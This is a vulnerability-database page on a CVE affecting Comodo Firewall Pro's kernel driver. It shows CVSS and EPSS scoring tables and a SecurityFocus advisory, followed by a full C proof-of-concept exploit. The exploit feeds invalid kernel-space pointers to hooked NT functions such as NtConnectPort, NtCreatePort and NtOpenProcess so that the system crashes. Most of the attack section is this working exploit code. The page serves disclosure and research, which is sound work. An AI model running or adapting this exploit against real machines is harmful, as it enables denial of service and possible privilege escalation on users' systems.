CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
cmdmon.sys in Comodo Firewall Pro (formerly Comodo Personal Firewall) before 2.4.16.174 does not validate arguments that originate in user mode for the (1) NtConnectPort and (2) NtCreatePort hooked SSDT functions, which allows local users to cause a denial of service (system crash) and possibly gain privileges via invalid arguments.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-01-14
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.16%
2025-03-30
–
–
–
–
0.16%
2025-04-15
–
–
–
–
0.16%
2025-04-16
–
–
–
–
0.16%
2025-04-27
–
–
–
–
0.16%
2025-05-01
–
–
–
–
0.16%
2025-05-05
–
–
–
–
0.16%
2025-05-09
–
–
–
–
0.16%
2025-05-12
–
–
–
–
0.16%
2025-05-16
–
–
–
–
0.16%
2025-05-28
–
–
–
–
0.16%
2025-06-01
–
–
–
–
0.16%
2025-06-01
–
–
–
–
0.16,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/22357/info
Comodo Firewall is prone to multiple denial-of-service vulnerabilities because it fails to adequately validate user supplied data.
Exploiting these issues may permit attackers to cause system crashes and deny service to legitimate users. Presumaby, attackers may also be able to execute arbitrary code, but this has not been confirmed.
Comodo Firewall Pro 2.4.16.174 and Comodo Personal Firewall 2.3.6.81 are vulnerable; other versions may also be affected.
/*
Testing program for Multiple insufficient argument validation of hooked
SSDT function (BTP00000P005CF)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that crash the
system. This happens because of
insufficient validation of function arguments in the driver of the
firewall.
Test:
Running the testing program with the name of a function from the list
of affected functions.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation
of hooked SSDT function (BTP00000P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%ld.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtConnectPort") ||
!stricmp(argv[1],"ZwConnectPort"))
{
HANDLE handle;
UNICODE_STRING us={0x1000,0x1000,NULL};
SECURITY_QUALITY_OF_SERVICE sqos;
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwConnectPort(&handle,&us,&sqos,NULL,NULL,NULL,NULL,NULL);
}
} else if (!stricmp(argv[1],"NtCreatePort") ||
!stricmp(argv[1],"ZwCreatePort"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwCreatePort(&handle,&oa,0,0,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") ||
!stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtOpenProcess") ||
!stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtOpenSection") ||
!stricmp(argv[1],"ZwOpenSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenSection(&handle,SECTION_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenThread") ||
!stricmp(argv[1],"ZwOpenThread"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenThread(&handle,THREAD_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtSetValueKey") ||
!stricmp(argv[1],"ZwSetValueKey"))
{
for (int i=0;i>=0;i++)
{
PUNICODE_STRING us=(PVOID)(i+0x80000000);
ZwSetValueKey(NULL,us,0,REG_NONE,NULL,0);
}
} else printf("\nI do not know how to exploit the vulnerability using
this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}